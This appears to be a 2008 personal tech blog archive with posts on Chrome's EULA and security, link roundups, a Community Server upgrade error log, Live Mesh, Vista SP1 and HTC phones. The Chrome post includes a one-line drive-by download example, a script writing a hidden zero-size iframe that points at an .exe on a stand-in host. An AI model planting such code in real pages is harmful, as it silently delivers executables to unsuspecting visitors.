You must have heard of Chrome by now – the brand spanking new browser from Google. If you think it was the best thing since sliced bread you need to wake up and smell the fish.
For me the main deal breaker is the EULA they have for Chrome. As per the EULA anything you use to upload, browse, etc using Chrome you are giving Google the right a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through the Services.
This means anything work related I do – something as simple as searching the intranet to something more sensitive as responding to an RFP can be posted or displayed by Google. Needless to say most of us won’t be using this at work. Here is the full Section 11 from the EULA:
11. Content licence from you
11.1 You retain copyright and any other rights that you already hold in Content that you submit, post or display on or through the Services. By submitting, posting or displaying the content, you give Google a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through the Services. This licence is for the sole purpose of enabling Google to display, distribute and promote the Services and may be revoked for certain Services as defined in the Additional Terms of those Services.
11.2 You agree that this licence includes a right for Google to make such Content available to other companies, organisations or individuals with whom Google has relationships for the provision of syndicated services and to use such Content in connection with the provision of those services.
11.3 You understand that Google, in performing the required technical steps to provide the Services to our users, may (a) transmit or distribute your Content over various public networks and in various media; and (b) make such changes to your Content as are necessary to conform and adapt that Content to the technical requirements of connecting networks, devices, services or media. You agree that this licence shall permit Google to take these actions.
11.4 You confirm and warrant to Google that you have all the rights, power and authority necessary to grant the above licence.
So whenever Google releases the new-uber-cool hammer, this is what it will look like:
Of course, there is a big backlash on this and there is some talk from Google on changing this. I wonder how quickly they forgot their “Don’t do Evil” mantra?
My second beef was when this is installed why is it in some obscure location such as AppData\Local\Global (e.g. on Vista this will be installed at C:\Users\%userprofile%\AppData\Local\Google\Chrome\Application) – what is wrong with something like %SYSTEM%\Google\Chrome? Of course this causes more interesting issues if more than one users use the same computer.
The third issue while is related to installation and is a little different. Why does this bypass the Windows UAC? No matter what the negative press on UAC, it is good and should not be bypassed. Maybe this is some new bug on UAC? (I am speculating at this point mind you, I have not had time to check it out in detail).
Security is the next problem. Apparently there is an automatic file download exploit and a carpet bombing flaw. For example the file download exploit can look something like:
<script> document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">'); </script>
On the positive sides, there are some cool features such as the hidden features where you can see some interesting things such as dns details, histograms, network diags, etc. Here is a list of some of the commands available:
- about:histograms
- about:dns
- about:stats
- about:network
- about:plugins
Lastly, try typing “evil:%” (without quotes) and see what happens! 
Click to open original image.
- Shared View from Microsoft - a fast, easy way to share documents and screen views with small groups anytime, anywhere and works across physical boundaries, through firewalls, and down to the smallest details.
- Switcher - gets Expose (from Mac) on Windows very cool! (you need Vista + Aero)
- VS.NET 2008 SP1 likely to come later this year adds a lot of new stuff.
- SMS things (only if you are in the US)
- SMS411 - helps you send SMS to phone's on specific carriers in the US.
- Teleflip - goes a step further and automatically figures out the carrier (also only for the US).
- TFS Admin - seems to do a few interesting things if you admin TFS (I have not used it first hand so can't say).
- Many Books - offers thoughts of free eBooks in many formats for your PDA, iPod, or eBook reader.
- Hadoop - is a framework for running applications on large clusters built of commodity hardware; it is effectively a grid application which under the covers uses a DFS and can supposedly scale up to reliably store and process petabytes.
- Invisible Computing - research prototype for making small devices part of the seamless computing world. It consists of compact middleware for constructing embedded web services applications and a small component based Real-Time Operating System with TCP/IP networking to make middleware run straight on the metal on several embedded processors.
- Chumby - seems interesting concept - but I get all that on my phone and will it work in the uk?
- Delta Copy - robocopy on steroids; this on copies the sectors that have changed. So if you have a 2 gb PST file – only the new sectors are copied instead of the whole file. Note – there as issues with Vista!
- pptPlex – allows you to present PowerPoint using a zoomable canvas instead of slides – quite interesting.
You might have heard of Photosynth - it was announced last year; but if you ever wondered what the big deal was about Photosynth (or have not heard of it), then check out this video. Also this is open to all now for free.
Someone sure loves XP and their progress bar!
{via Karan}
As some of you noticed my blog either looked different for at some point recently or for a while it was not even available and it was all a terrible mess. As you might know I am running this on Community Server 2007 (CS 2007); CS 2008 was released some time back I thought maybe it is about time that I upgrade to that. Now you would think that it should be a painless process – boy how wrong one can be!
After weeks of trying (whenever I could take out time from a very hectic work schedule) I just could not get it to work. Even though the upgrade was “supposedly” successful (as shown by the screen shot below) nothing was working. After some digging it seems the Themes were the main culprit; Telligent has completely re-worked the theme engine from CS 2007 to CS 2008 and in the process anything (including the Default theme in CS 2007) breaks.
I have to admit I am not loving CS anymore. At one point, the idea of running a .NET based blogging service (.dotText if anyone remembers) was a cool idea. The geek in me could customize it to my hearts content. But since the release of CS and the whole commercialisation of it; the product just seems to have gone off on a tangent and more geared to the corporate world and they don’t seem to be interested in individuals like me. Now, don’t get me wrong I am not against commercialisation (hey we all need to pay our bills), I am all for the fact that this this scales up very well and someone like Avanade would probably use this for their “blogging engine” (actually being the geeks that we are, we might end up building one in our spare time).
But for me it now has lost it magic! So, I am interested in knowing what other options are there if any? I would like it to be open source and I would like to host it on my own domain. Any ideas?
Here is one of the many errors that I was getting:
Error:
25/07/2008 17:05:13 -- Updating posts for reindexing and search
25/07/2008 17:05:13 -- Upgrading role icons
25/07/2008 17:05:13 -- Moved 0 of 1 role icons into centralized storage
25/07/2008 17:05:13 -- Upgrading rank icons
25/07/2008 17:05:13 -- Moved 0 of 0 rank icons into centralized storage
25/07/2008 17:05:13 -- Upgrading user avatars
25/07/2008 17:05:13 -- Moved 0 of 0 avatars into centralized storage
25/07/2008 17:05:13 -- cs_UserAvatar table truncated
25/07/2008 17:05:13 -- Upgrading user files
25/07/2008 17:05:13 -- EXCEPTION: Could not find a part of the path 'C:\AltooFaltoo\temp\blogbackup\weblog\filestorage'.
at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
at System.IO.Directory.InternalGetFileDirectoryNames(String path, String userPathOriginal, String searchPattern, Boolean includeFiles, Boolean includeDirs, SearchOption searchOption)
at System.IO.Directory.GetDirectories(String path, String searchPattern, SearchOption searchOption)
at System.IO.Directory.GetDirectories(String path)
at CommunityServer.Upgrader.FileUpgrader.UpgradeUserFiles()
at CommunityServer.Upgrader.Part4.MoveFilesToCfs()
Testing, testing, can anyone see this?
It took a while for me to get around to this but the P2P Code to go along with my MSDN Article "P2P Programming with WCF and .NET v3.5". I don't know why this code was not available on MSDN in the first place.
Any ways, the can be downloaded from here (456.2 KB).
Guardian has an interesting story on how Bluetooth is being used to track people's movement in Bath. The concern is that the 10 or so scanners not only pick up your mobile's ID (which you have set) but can also pick up your Identity via your name. email and phone numbers. So think carefully before switching on your Bluetooth on the mobile!
This more than a "Power Pack" and fixes a whole host of issues including the (in)famous data corruption bug. If you have been living in a cave then you can catch up here on what the fuss is all about? Here are the highlights of the fixes:
Support for home computers that are running Windows Vista x64 editions Backup of Home Server shared folders Improvements to remote access More efficient power consumption Improved performance If you are running WHS I would highly recommend you install this; you can get WHS PP1 from here.
- Search of Forever
- ZuneThings.co.uk - for those in the UK wanting a Zune + Accessories, etc.
- Cozi - new way busy families stay organized, manage schedules and coordinate with each other.
- Browsershots - test your site among a host of browsers and see how it prevails; so how well does my blog do?
- Ask the Admin
- How to hide an airplane factory?
- Bill G's history from MS; and his emails.
- Windows 7, not that far off.
- CooTek - alternative keyboard for Windows Mobile phones.
- Pandora - free Internet radio but only for the yanks.
- Pex (Program Exploration) - a MSR project that from a parameterized unit test automatically produces a traditional unit test suite with high code coverage.
- Gmap Pedometer - excellent if you are a runner or just want to find out how long your walk is. Thanks to the lovely Meenakshi for this.
I
recently got to know that
Field Marshal Sam Manekshaw passed away and the ripe age of 94; I am especially sad to hear that - I cannot explain it - might by my army roots. I think fellow Army brats might get it. May he rest in peace!
I used to rule the world
Seas would rise when I gave the word
Now in the morning I sleep alone
Sweep the streets I used to own
I used to roll the dice
Feel the fear in my enemies eyes
Listen as the crowd would sing:
"Now the old king is dead, long live the king!"
One minute I held the key
Next the walls were closed on me
And I discovered that my castles stand
Upon pillars of salt, and pillars of sand
I hear Jerusalem bells a ringing
Roman cavalry choirs are singing
Be my mirror, my sword, my shield
My missionaries in a foreign field
For some reason I can't explain
Once you go there was never, never an honest word
That was when I ruled the world
It was the wicked and wild win
Blew down the doors to let me in
Shattered windows and the sound of drums
People couldn't believe what I'd become
Revolutionaries wait
For my head on a silver plate
Just a puppet on a lonely string (Ooooh)
Ah, who would ever want to be king?
I hear Jerusalem bells a ringing
Roman cavalry choirs are singing
Be my mirror, my sword, and shield
My missionaries in a foreign field
For some reason I can't explain
I know Saint Peter won't call my name
Never an honest word
But that was when I ruled the world
Ooooh Ooooh Ooooh Ooooh Ooooh
(repeat with chorus)
I hear Jerusalem bells a ringing
Roman cavalry choirs are singing
Be my mirror, my sword, my shield
My missionaries in a foreign field
For some reason I can't explain
I know Saint Peter won't call my name
Never an honest word
But that was when I ruled the world
Oooooooh Oooooooh Oooooooh
{Kudos, if you figured it out - it is not that difficult and btw I love it and think there are so many different levels to it and see some elements of this in everyday life}
This is not one of the "jokes", but is one of the "real" ones I got. Maybe about time I got around to installing Firefox 3 then. :)
As I said in the last post I have been using Live Mesh for a few weeks now. Since then, Microsoft has released an update to Mesh; those of you who are using it and not updated it yet, I would suggest you do. It will restart the Windows shell once the update is finished, but I would recommend to save your work before you start the update and bounce Windows after that (even though it does not require it).
- Live Mesh is now available in all English-speaking countries (not just the U.S.)
- Removed the User Account Control (UAC) requirement when installing and using Live Mesh with Windows Vista SP1
- Index for Desktop Search now works with Live Mesh folders
- Fixed bug where an underscore in a Hotmail account name returned an "Invalid Hotmail Address" error
- Fixed bug with Silverlight 2 Beta 2 failing to load in Silverlight Media View
- Fixed bug where the notifier tool-tip incorrectly indicated that Live Mesh Remote Desktop was unavailable for a computer running in non-admin mode
- Fixed bug where the Live Mesh folder icon was not displayed in the e-mail inviting someone to share a folder
- Fixed one of the bugs that caused Live Mesh to fail to start
- Fixed problem with Live Mesh returning errors when waking from sleep/hibernate
You might have heard of the new "Cloud" service from Microsoft called Live Mesh. You can get more details on the team's blog and a few videos.
While I have the Mesh bits installed for a few weeks I only recently started using it and was very handy when I wanted to get to some information on one of the Wiki's running at home.
I have some of the machines on my home network connected on the mesh now (see screen shot below) - they all are running Vista. It is quite useful and much easier to use than trying to RDP into various machines (assuming you can fwd the ports for various machines on the router). Another cool feature is I don't need to have any bits installed to access them (say from a corporate environment). You only need a browser to login to the mesh and get to the machines (I only tried this is IE 7 btw).
I have used a little bit of this so far and do find it quite useful; there are various elements of this that I have not really used yet (such as the sync. features).
I wonder if there will be an interesting convergence between this and WHS at some point in the future?
Pure coincidence that #13 is posted on Friday the 13th!
- Goosh - the Unofficial google shell (very cool)!
- Zamzar - free online file conversion.
- FlashEarth - switch seamlessly between Google maps, Microsoft Virtual Earth, Yahoo!, etc.
- SiteAdvisor.com - McAfee's free offering that automatically alerts to Web sites that use or have links to spyware, adware, spam and other nasties.
- Live SysInternals - all of SysInternals on your figertips. e.g. in a DOS prompt enter: dir \\live.sysinternals.com\tools
- Windows Search 4.0 - new and improved? Only time will tell.
- TFS does not have any features for gathering requirements, but if this is something you prefer then check out Caliber RM and TeamSpec. Rosario though might have these out of the box - but only time will tell.
- BizTalk dev tools - it is almost an year old, but still a very cool list of tools if you are using BizTalk.
- Xobni (mirror of Inbox in case you did not notice), is Outlook add-on which helps you deal with emails better.
- Office Search Commands - helps you find commands, options, wizards, and galleries in Office 2007 Word, Excel and PowerPoint; check this out if you are wondering the rational behind it.
Dell's Crystal LCD's finally are available now in the UK and they are cool (and still pricey). Hmm, next batch of EB (a.k.a Toy Money) from Avanade is going to be available in a few months ... hmm .... 
Update: fixed the second link - copy and paste error.
Over the last few weeks I have heard a lot of people complain about the HTC TyTn (and more so these days with the new iPhone out now). But the phone itself is not bad - but if you are still running Windows Mobile 5 on it then sorry you don't get the rights to complain - that OS itself has loads of issues. So, if you are like me with a TyTn I would suggest you get on a Windows Mobile 6.1 ROM and get some peace of mind. I am running the 'Diamond Look-alike" Mobile 6.1 ROM and it is rock solid - I highly recommend it. I have been running it for a few days and am very impressed.
Of course, I was contemplating between the Diamond and the Diamond Pro, but now with the iPhone 2.0 - the water is as clear as mud on which one I should pick! Sigh!
On a somewhat related note, if you were thinking of getting a Diamond from Expansys, I would hold off as all of their phones are imports and technically grey market imports which HTC does not and will not support. But despite Expansys, why would anyone pay so much more for a HTC Windows Mobile, when you get a similar spec'd iPhone for much less?
Shame on Expansys for selling them as "UK" phones.
I currently have a HTC TyTn and was thinking of getting either the new HTC Diamond or the HTC Diamond Pro and was not sure how they stack up size wise; but that is there sizeasy.com come in the picture and help me see what the three of them look like together.
Diamond Pro is a little thinner and lighter than the TyTn, the question for me is do I really need the keyboard or can I live with something like the Diamond. Hmm ... decisions, decisions, decisions.
I think Snap Previews were a good idea earlier but now for me it has just started getting irritating and for my blog I have switched it off.
If you got a fingerprint reader on your machine and are running Vista then think twice before installing SP1! About 7-8 months ago I got a new tablet (Lenovo X61) which is a pretty sweet machine with Vista pre-installed and all was well until I installed SP1 and then the thing won't even boot.
I tried to get into safe mode but no luck; I tried repairing - but no luck. I got in the repair console and tried to manually "fix" the MBR, but not luck. In the end I was screwed - royally - especially as I did not have a backup. I did have my machine being backed up by WHS which is what I was hoping would save me (more on that later).
In the end I had to do a fresh install of Vista (I choose to use a slipstream version of Vista with SP1 already on it) and then install all the relevant Lenovo specific apps that I needed. Of course getting all the other dev apps and getting the data back on it was
So, if you are running Vista and are thinking of SP1 here are the steps I would suggest you do:
- Make sure you got loads of time - don't do this if you got a critical deadline the next day for which you need to use this machine.
- Backup your data
- Check your backup!
- In case you do need to do a fresh install Keep all relevant discs/iso's at hand - don't forget the drivers!
- Install the latest drivers for your fingerprint reader (check both the vendors and the manufacturers site).
- Install SP1 (while praying)
I must say that no other machine has a fingerprint reader and I did not have any issues installing SP1 on any of those. Also this post is specific for x32; I do not have x64 running anymore so can't say how that will behave.
Wow! What a week - so much talk of the next version of Windows code-named "7". Of course the multi-touch (see video below) is what everyone is talking about. Now, this is cool because it is the evolution of the Surface which is scaled down to a screen.
If you have not seen a Surface - it is quite big and works with five infrared cameras which picks up the gestures and then knows what to do with it (more on Surface at another time).
But in addition to multi-touch we also know there is no new kernel for Windows 7, instead Microsoft is refining the existing kernel. So if you were betting on WinMin (which BTW is only 25 mb!) being there then forget it. Windows 7, will ship around three years after Vista shipped - in other words we should see it sometime next year.
Of course you have got to have screen shots - there has been a lot of speculation if they are genuine or fake, but they sure do look cool. Check out the top left and right corners of the screen shot above and the way the task bar is layed out - nice! I can't wait to get the first drop of this and see how it pans out! Given this is build on top of Vista hopefully we won't have too many issues with drivers making early adoption of this more painless compared to Vista.
Windows 7 first demo shown at D6:
I am thinking of getting the HTC Diamond. If you are interested in its features then check out these guys who have had it and been using it for a week and have been posting a daily video on what works and what does not.
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